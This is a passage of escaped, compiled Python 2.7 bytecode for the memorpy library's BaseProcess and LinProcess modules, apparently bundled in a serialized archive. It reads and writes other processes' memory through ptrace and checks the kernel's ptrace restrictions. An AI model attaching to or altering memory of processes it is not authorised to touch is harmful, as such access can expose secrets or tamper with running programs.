\\\\x00d\\\\x03\\\\x00|\\\\x08\\\\x00\\\\x83\\\\x01\\\\x01\\\\x83\\\\x02\\\\x00d\\\\t\\\\x00\\\\x19Sd\\\\x00\\\\x00S(\\\\n\\\\x00\\\\x00\\\\x00Nt\\\\x01\\\\x00\\\\x00\\\\x00st\\\\x06\\\\x00\\\\x00\\\\x00stringR\\\\x16\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00ignores\\\\x0f\\\\x00\\\\x00\\\\x00string > maxlent\\\\x01\\\\x00\\\\x00\\\\x00bi\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x07\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00utilst\\\\x0b\\\\x00\\\\x00\\\\x00type_unpackt\\\\x06\\\\x00\\\\x00\\\\x00structt\\\\x06\\\\x00\\\\x00\\\\x00unpack(\\\\t\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x13\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00typet\\\\x06\\\\x00\\\\x00\\\\x00maxlent\\\\x06\\\\x00\\\\x00\\\\x00errorsR\\\\x1c\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00newst\\\\x01\\\\x00\\\\x00\\\\x00ct\\\\x01\\\\x00\\\\x00\\\\x00l(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x04\\\\x00\\\\x00\\\\x00read&\\\\x00\\\\x00\\\\x00s\\\\x1c\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x18\\\\x01\\\\x1b\\\\x01\\\\x06\\\\x01\\\\r\\\\x01\\\\x0c\\\\x01\\\\x04\\\\x01\\\\x0e\\\\x01\\\\x0c\\\\x01\\\\x04\\\\x01\\\\x0f\\\\x02\\\\x18\\\\x01\\\\x19\\\\x01\\\\x15\\\\x01c\\\\x04\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s]\\\\x00\\\\x00\\\\x00|\\\\x03\\\\x00d\\\\x01\\\\x00k\\\\x03\\\\x00rC\\\\x00t\\\\x00\\\\x00j\\\\x01\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\\\\\\\\\x02\\\\x00}\\\\x04\\\\x00}\\\\x05\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x04\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00S|\\\\x00\\\\x00j\\\\x02\\\\x00t\\\\x03\\\\x00|\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00Sd\\\\x00\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00NR\\\\x16\\\\x00\\\\x00\\\\x00(\\\\x06\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R#\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R\\\\x18\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00pack(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x13\\\\x00\\\\x00\\\\x00R\\\\x14\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00R\\\\x1c\\\\x00\\\\x00\\\\x00R+\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x05\\\\x00\\\\x00\\\\x00write7\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\x15\\\\x01\"\\\\x02(\\\\x0b\\\\x00\\\\x00\\\\x00R\\\\x01\\\\x00\\\\x00\\\\x00R\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x0e\\\\x00\\\\x00\\\\x00R\\\\x10\\\\x00\\\\x00\\\\x00R\\\\x0f\\\\x00\\\\x00\\\\x00R\\\\x12\\\\x00\\\\x00\\\\x00R\\\\x15\\\\x00\\\\x00\\\\x00R\\\\x17\\\\x00\\\\x00\\\\x00R\\\\x19\\\\x00\\\\x00\\\\x00R,\\\\x00\\\\x00\\\\x00R.\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\\\x03\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x00\\\\x00\\\\x00s\\\\x12\\\\x00\\\\x00\\\\x00\\\\x06\\\\x02\\\\t\\\\x08\\\\t\\\\x03\\\\t\\\\x02\\\\t\\\\x02\\\\t\\\\x03\\\\x0c\\\\x03\\\\t\\\\x03\\\\x12\\\\x11(\\\\x06\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00R$\\\\x00\\\\x00\\\\x00t\\\\t\\\\x00\\\\x00\\\\x00ExceptionR\\\\x00\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00objectR\\\\x03\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sS\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00<module>\\\\x04\\\\x00\\\\x00\\\\x00s\\\\x06\\\\x00\\\\x00\\\\x00\\\\x0c\\\\x01\\\\x0c\\\\x04\\\\x16\\\\x03\\'\\np25\\nsS\\'memorpy/LinProcess.pyc\\'\\np26\\nS\\'\\\\x03\\\\xf3\\\\r\\\\ng\\\\x18\\\\x05Yc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00@\\\\x00\\\\x00\\\\x00sc\\\\x02\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x00\\\\x00Z\\\\x00\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x01\\\\x00Z\\\\x01\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x02\\\\x00Z\\\\x02\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x03\\\\x00Z\\\\x03\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x04\\\\x00Z\\\\x04\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x05\\\\x00Z\\\\x05\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x06\\\\x00Z\\\\x06\\\\x00d\\\\x00\\\\x00d\\\\x02\\\\x00l\\\\x04\\\\x00m\\\\x07\\\\x00Z\\\\x07\\\\x00m\\\\x08\\\\x00Z\\\\x08\\\\x00m\\\\t\\\\x00Z\\\\t\\\\x00m\\\\n\\\\x00Z\\\\n\\\\x00m\\\\x0b\\\\x00Z\\\\x0b\\\\x00m\\\\x0c\\\\x00Z\\\\x0c\\\\x00m\\\\r\\\\x00Z\\\\r\\\\x00m\\\\x0e\\\\x00Z\\\\x0e\\\\x00m\\\\x0f\\\\x00Z\\\\x0f\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x10\\\\x00Z\\\\x10\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x11\\\\x00Z\\\\x11\\\\x00d\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x12\\\\x00Z\\\\x12\\\\x00d\\\\x00\\\\x00d\\\\x03\\\\x00l\\\\x13\\\\x00m\\\\x13\\\\x00Z\\\\x13\\\\x00m\\\\x14\\\\x00Z\\\\x14\\\\x00\\\\x01d\\\\x00\\\\x00d\\\\x04\\\\x00l\\\\x15\\\\x00Td\\\\x00\\\\x00d\\\\x01\\\\x00l\\\\x16\\\\x00Z\\\\x16\\\\x00e\\\\x16\\\\x00j\\\\x17\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x18\\\\x00e\\\\x04\\\\x00j\\\\x19\\\\x00d\\\\x06\\\\x00d\\\\x07\\\\x00e\\\\x1a\\\\x00\\\\x83\\\\x01\\\\x01Z\\\\x1b\\\\x00e\\\\x1b\\\\x00j\\\\x1c\\\\x00Z\\\\x1d\\\\x00e\\\\x0e\\\\x00e\\\\t\\\\x00\\\\x83\\\\x01\\\\x00e\\\\x1d\\\\x00_\\\\x1e\\\\x00d\\\\x08\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x1f\\\\x00e\\\\x1b\\\\x00j \\\\x00Z!\\\\x00e\\\\x04\\\\x00j\"\\\\x00Z#\\\\x00e\\\\t\\\\x00e#\\\\x00e\\\\n\\\\x00e\\\\n\\\\x00g\\\\x04\\\\x00e!\\\\x00_$\\\\x00e\\\\x0b\\\\x00e!\\\\x00_\\\\x1e\\\\x00e\\\\x1b\\\\x00j%\\\\x00Z%\\\\x00e\\\\t\\\\x00e%\\\\x00_\\\\x1e\\\\x00e\\\\n\\\\x00e\\\\x0c\\\\x00e\\\\t\\\\x00g\\\\x03\\\\x00e%\\\\x00_$\\\\x00e&\\\\x00Z\\\\\\'\\\\x00y\\\\xaf\\\\x00e\\\\x04\\\\x00j(\\\\x00Z)\\\\x00e\\\\x1b\\\\x00j*\\\\x00Z*\\\\x00e\\\\t\\\\x00e)\\\\x00e\\\\t\\\\x00g\\\\x03\\\\x00e*\\\\x00_$\\\\x00e\\\\x1f\\\\x00e*\\\\x00_\\\\x1f\\\\x00e\\\\x1b\\\\x00j+\\\\x00Z+\\\\x00e\\\\t\\\\x00e+\\\\x00_\\\\x1e\\\\x00e\\\\n\\\\x00e\\\\t\\\\x00g\\\\x02\\\\x00e+\\\\x00_$\\\\x00e\\\\x1f\\\\x00e+\\\\x00_\\\\x1f\\\\x00e\\\\x1b\\\\x00j,\\\\x00Z,\\\\x00e\\\\t\\\\x00e\\\\n\\\\x00e\\\\x0c\\\\x00e)\\\\x00g\\\\x04\\\\x00e,\\\\x00_$\\\\x00e\\\\r\\\\x00e,\\\\x00_\\\\x1e\\\\x00e\\\\x1f\\\\x00e,\\\\x00_\\\\x1f\\\\x00e\\\\x1b\\\\x00j-\\\\x00Z.\\\\x00e\\\\t\\\\x00g\\\\x01\\\\x00e.\\\\x00_$\\\\x00e\\\\t\\\\x00e.\\\\x00_\\\\x1e\\\\x00e\\\\x1a\\\\x00Z\\\\\\'\\\\x00Wn\\\\x14\\\\x00\\\\x01\\\\x01\\\\x01e\\\\x18\\\\x00j/\\\\x00d\\\\t\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x01\\\\x00Xd\\\\n\\\\x00e\\\\x13\\\\x00f\\\\x01\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00YZ0\\\\x00d\\\\x01\\\\x00S(\\\\x0c\\\\x00\\\\x00\\\\x00i\\\\xff\\\\xff\\\\xff\\\\xffN(\\\\t\\\\x00\\\\x00\\\\x00t\\\\x14\\\\x00\\\\x00\\\\x00create_string_buffert\\\\x05\\\\x00\\\\x00\\\\x00byreft\\\\x05\\\\x00\\\\x00\\\\x00c_intt\\\\x08\\\\x00\\\\x00\\\\x00c_void_pt\\\\x06\\\\x00\\\\x00\\\\x00c_longt\\\\x08\\\\x00\\\\x00\\\\x00c_size_tt\\\\t\\\\x00\\\\x00\\\\x00c_ssize_tt\\\\x07\\\\x00\\\\x00\\\\x00POINTERt\\\\t\\\\x00\\\\x00\\\\x00get_errno(\\\\x02\\\\x00\\\\x00\\\\x00t\\\\x0b\\\\x00\\\\x00\\\\x00BaseProcesst\\\\x10\\\\x00\\\\x00\\\\x00ProcessException(\\\\x01\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00*t\\\\x07\\\\x00\\\\x00\\\\x00memorpys\\\\t\\\\x00\\\\x00\\\\x00libc.so.6t\\\\t\\\\x00\\\\x00\\\\x00use_errnoc\\\\x03\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s:\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00d\\\\x01\\\\x00k\\\\x02\\\\x00r6\\\\x00t\\\\x00\\\\x00\\\\x83\\\\x00\\\\x00p\\\\x1b\\\\x00t\\\\x01\\\\x00j\\\\x02\\\\x00}\\\\x03\\\\x00t\\\\x03\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00|\\\\x03\\\\x00\\\\x83\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00n\\\\x00\\\\x00|\\\\x00\\\\x00S(\\\\x02\\\\x00\\\\x00\\\\x00Ni\\\\xff\\\\xff\\\\xff\\\\xff(\\\\x06\\\\x00\\\\x00\\\\x00R\\\\x08\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00errnot\\\\x05\\\\x00\\\\x00\\\\x00EPERMt\\\\x07\\\\x00\\\\x00\\\\x00OSErrort\\\\x02\\\\x00\\\\x00\\\\x00ost\\\\x08\\\\x00\\\\x00\\\\x00strerror(\\\\x04\\\\x00\\\\x00\\\\x00t\\\\x03\\\\x00\\\\x00\\\\x00rett\\\\x04\\\\x00\\\\x00\\\\x00funct\\\\x04\\\\x00\\\\x00\\\\x00argst\\\\x06\\\\x00\\\\x00\\\\x00_errno(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x08\\\\x00\\\\x00\\\\x00errcheck$\\\\x00\\\\x00\\\\x00s\\\\x08\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x0c\\\\x01\\\\x12\\\\x01\\\\x18\\\\x01s\\\\x15\\\\x00\\\\x00\\\\x00no Large File Supportt\\\\n\\\\x00\\\\x00\\\\x00LinProcessc\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00B\\\\x00\\\\x00\\\\x00s\\\\xa4\\\\x00\\\\x00\\\\x00e\\\\x00\\\\x00Z\\\\x01\\\\x00d\\\\x0e\\\\x00d\\\\x0e\\\\x00e\\\\x03\\\\x00d\\\\x0e\\\\x00d\\\\x00\\\\x00\\\\x84\\\\x04\\\\x00Z\\\\x04\\\\x00d\\\\x01\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x05\\\\x00d\\\\x02\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x06\\\\x00d\\\\x03\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x07\\\\x00d\\\\x04\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x08\\\\x00e\\\\t\\\\x00d\\\\x05\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\n\\\\x00e\\\\t\\\\x00d\\\\x06\\\\x00\\\\x84\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00Z\\\\x0b\\\\x00d\\\\x07\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0c\\\\x00d\\\\x0e\\\\x00d\\\\x0e\\\\x00d\\\\x0e\\\\x00d\\\\x0e\\\\x00d\\\\x08\\\\x00\\\\x84\\\\x04\\\\x00Z\\\\r\\\\x00d\\\\t\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0e\\\\x00d\\\\n\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x0f\\\\x00d\\\\x0b\\\\x00\\\\x84\\\\x00\\\\x00Z\\\\x10\\\\x00d\\\\x0c\\\\x00d\\\\r\\\\x00\\\\x84\\\\x01\\\\x00Z\\\\x11\\\\x00RS(\\\\x0f\\\\x00\\\\x00\\\\x00c\\\\x05\\\\x00\\\\x00\\\\x00\\\\x05\\\\x00\\\\x00\\\\x00\\\\x03\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xae\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00t\\\\x01\\\\x00|\\\\x00\\\\x00\\\\x83\\\\x02\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x03\\\\x00|\\\\x00\\\\x00_\\\\x04\\\\x00t\\\\x05\\\\x00|\\\\x00\\\\x00_\\\\x06\\\\x00|\\\\x01\\\\x00d\\\\x03\\\\x00k\\\\t\\\\x00r=\\\\x00|\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x07\\\\x00n-\\\\x00|\\\\x02\\\\x00d\\\\x03\\\\x00k\\\\t\\\\x00r^\\\\x00t\\\\x01\\\\x00j\\\\x08\\\\x00|\\\\x02\\\\x00\\\\x83\\\\x01\\\\x00|\\\\x00\\\\x00_\\\\x07\\\\x00n\\\\x0c\\\\x00t\\\\t\\\\x00d\\\\x01\\\\x00\\\\x83\\\\x01\\\\x00\\\\x82\\\\x01\\\\x00|\\\\x04\\\\x00d\\\\x03\\\\x00k\\\\x08\\\\x00r\\\\xa0\\\\x00t\\\\n\\\\x00j\\\\x0b\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x02\\\\x00k\\\\x02\\\\x00r\\\\x94\\\\x00t\\\\x05\\\\x00|\\\\x00\\\\x00_\\\\x0c\\\\x00q\\\\xa0\\\\x00t\\\\r\\\\x00|\\\\x00\\\\x00_\\\\x0c\\\\x00n\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x0e\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01d\\\\x03\\\\x00S(\\\\x04\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00 Create and Open a process object from its pid or from its name s=\\\\x00\\\\x00\\\\x00You need to instanciate process with at least a name or a pidi\\\\x00\\\\x00\\\\x00\\\\x00N(\\\\x0f\\\\x00\\\\x00\\\\x00t\\\\x05\\\\x00\\\\x00\\\\x00superR\\\\x18\\\\x00\\\\x00\\\\x00t\\\\x08\\\\x00\\\\x00\\\\x00__init__t\\\\x04\\\\x00\\\\x00\\\\x00Nonet\\\\x08\\\\x00\\\\x00\\\\x00mem_filet\\\\x05\\\\x00\\\\x00\\\\x00Falset\\\\x0e\\\\x00\\\\x00\\\\x00ptrace_startedt\\\\x03\\\\x00\\\\x00\\\\x00pidt\\\\r\\\\x00\\\\x00\\\\x00pid_from_namet\\\\n\\\\x00\\\\x00\\\\x00ValueErrorR\\\\x11\\\\x00\\\\x00\\\\x00t\\\\x06\\\\x00\\\\x00\\\\x00getuidt\\\\x0b\\\\x00\\\\x00\\\\x00read_ptracet\\\\x04\\\\x00\\\\x00\\\\x00Truet\\\\x05\\\\x00\\\\x00\\\\x00_open(\\\\x05\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00selfR\\\\x1f\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00namet\\\\x05\\\\x00\\\\x00\\\\x00debugt\\\\x06\\\\x00\\\\x00\\\\x00ptrace(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyR\\\\x1a\\\\x00\\\\x00\\\\x00G\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\x13\\\\x01\\\\t\\\\x01\\\\t\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x15\\\\x02\\\\x0c\\\\x01\\\\x0c\\\\x01\\\\x12\\\\x01\\\\x0c\\\\x02\\\\x0c\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x04\\\\x00\\\\x00\\\\x00\\\\x06\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\xd9\\\\x00\\\\x00\\\\x00y\\\\x9e\\\\x00t\\\\x00\\\\x00d\\\\x01\\\\x00d\\\\x02\\\\x00\\\\x83\\\\x02\\\\x00\\\\x8f\\\\x1f\\\\x00}\\\\x01\\\\x00t\\\\x01\\\\x00|\\\\x01\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00j\\\\x03\\\\x00\\\\x83\\\\x00\\\\x00\\\\x83\\\\x01\\\\x00}\\\\x02\\\\x00Wd\\\\x03\\\\x00QX|\\\\x02\\\\x00d\\\\x04\\\\x00k\\\\x02\\\\x00rO\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\x05\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00t\\\\x06\\\\x00j\\\\x07\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x06\\\\x00k\\\\x02\\\\x00re\\\\x00d\\\\x03\\\\x00S|\\\\x02\\\\x00d\\\\x07\\\\x00k\\\\x02\\\\x00r\\\\x81\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\x08\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x1c\\\\x00|\\\\x02\\\\x00d\\\\t\\\\x00k\\\\x02\\\\x00r\\\\x9d\\\\x00t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\n\\\\x00\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x00\\\\x00Wn4\\\\x00\\\\x04t\\\\x08\\\\x00k\\\\n\\\\x00r\\\\xb1\\\\x00\\\\x01\\\\x01\\\\x01n$\\\\x00\\\\x04t\\\\t\\\\x00k\\\\n\\\\x00r\\\\xd4\\\\x00\\\\x01}\\\\x03\\\\x00\\\\x01t\\\\x04\\\\x00j\\\\x05\\\\x00d\\\\x0b\\\\x00|\\\\x03\\\\x00\\\\x16\\\\x83\\\\x01\\\\x00\\\\x01n\\\\x01\\\\x00Xd\\\\x03\\\\x00S(\\\\x0c\\\\x00\\\\x00\\\\x00s\\\\x15\\\\x05\\\\x00\\\\x00 check ptrace scope and raise an exception if privileges are unsufficient\\\\n\\\\n        The sysctl settings (writable only with CAP_SYS_PTRACE) are:\\\\n\\\\n        0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other\\\\n            process running under the same uid, as long as it is dumpable (i.e.\\\\n            did not transition uids, start privileged, or have called\\\\n            prctl(PR_SET_DUMPABLE...) already). Similarly, PTRACE_TRACEME is\\\\n            unchanged.\\\\n\\\\n        1 - restricted ptrace: a process must have a predefined relationship\\\\n            with the inferior it wants to call PTRACE_ATTACH on. By default,\\\\n            this relationship is that of only its descendants when the above\\\\n            classic criteria is also met. To change the relationship, an\\\\n            inferior can call prctl(PR_SET_PTRACER, debugger, ...) to declare\\\\n            an allowed debugger PID to call PTRACE_ATTACH on the inferior.\\\\n            Using PTRACE_TRACEME is unchanged.\\\\n\\\\n        2 - admin-only attach: only processes with CAP_SYS_PTRACE may use ptrace\\\\n            with PTRACE_ATTACH, or through children calling PTRACE_TRACEME.\\\\n\\\\n        3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via\\\\n            PTRACE_TRACEME. Once set, this sysctl value cannot be changed.\\\\n        s\"\\\\x00\\\\x00\\\\x00/proc/sys/kernel/yama/ptrace_scopet\\\\x02\\\\x00\\\\x00\\\\x00rbNi\\\\x03\\\\x00\\\\x00\\\\x00s&\\\\x00\\\\x00\\\\x00yama/ptrace_scope == 3 (no attach). :/i\\\\x00\\\\x00\\\\x00\\\\x00i\\\\x01\\\\x00\\\\x00\\\\x00sP\\\\x00\\\\x00\\\\x00yama/ptrace_scope == 1 (restricted). you can\\\\\\'t ptrace other process ... get rooti\\\\x02\\\\x00\\\\x00\\\\x00sK\\\\x00\\\\x00\\\\x00yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACEs\"\\\\x00\\\\x00\\\\x00Error getting ptrace_scope ?? : %s(\\\\n\\\\x00\\\\x00\\\\x00t\\\\x04\\\\x00\\\\x00\\\\x00opent\\\\x03\\\\x00\\\\x00\\\\x00intt\\\\x04\\\\x00\\\\x00\\\\x00readt\\\\x05\\\\x00\\\\x00\\\\x00stript\\\\x06\\\\x00\\\\x00\\\\x00loggert\\\\x07\\\\x00\\\\x00\\\\x00warningR\\\\x11\\\\x00\\\\x00\\\\x00R\"\\\\x00\\\\x00\\\\x00t\\\\x07\\\\x00\\\\x00\\\\x00IOErrort\\\\t\\\\x00\\\\x00\\\\x00Exception(\\\\x04\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00t\\\\x01\\\\x00\\\\x00\\\\x00ft\\\\x0c\\\\x00\\\\x00\\\\x00ptrace_scopet\\\\x01\\\\x00\\\\x00\\\\x00e(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x12\\\\x00\\\\x00\\\\x00check_ptrace_scopeY\\\\x00\\\\x00\\\\x00s\\\\x1e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x19\\\\x03\\\\x01\\\\x12\\\\x01\\\\x1e\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x12\\\\x01\\\\x04\\\\x01\\\\x0c\\\\x01\\\\x10\\\\x01\\\\x0c\\\\x01\\\\x14\\\\x02\\\\r\\\\x01\\\\x03\\\\x02\\\\x0f\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00r\\\\x16\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00t\\\\r\\\\x00\\\\x00\\\\x00ptrace_detach(\\\\x01\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x05\\\\x00\\\\x00\\\\x00close\\\\x84\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s\\\\x1a\\\\x00\\\\x00\\\\x00|\\\\x00\\\\x00j\\\\x00\\\\x00r\\\\x16\\\\x00|\\\\x00\\\\x00j\\\\x01\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01n\\\\x00\\\\x00d\\\\x00\\\\x00S(\\\\x01\\\\x00\\\\x00\\\\x00N(\\\\x02\\\\x00\\\\x00\\\\x00R\\\\x1e\\\\x00\\\\x00\\\\x00R7\\\\x00\\\\x00\\\\x00(\\\\x01\\\\x00\\\\x00\\\\x00R&\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00(\\\\x00\\\\x00\\\\x00\\\\x00sR\\\\x00\\\\x00\\\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/LinProcess.pyt\\\\x07\\\\x00\\\\x00\\\\x00__del__\\\\x88\\\\x00\\\\x00\\\\x00s\\\\x04\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\t\\\\x01c\\\\x01\\\\x00\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x02\\\\x00\\\\x00\\\\x00C\\\\x00\\\\x00\\\\x00s@\\\\x00\\\\x00\\\\x00t\\\\x00\\\\x00|\\\\x00\\\\x00_\\\\x01\\\\x00|\\\\x00\\\\x00j\\\\x02\\\\x00\\\\x83\\\\x00\\\\x00\\\\x01t\\\\x03\\\\x00j\\\\x04\\\\x00\\\\x83\\\\x00\\\\x00d\\\\x01\\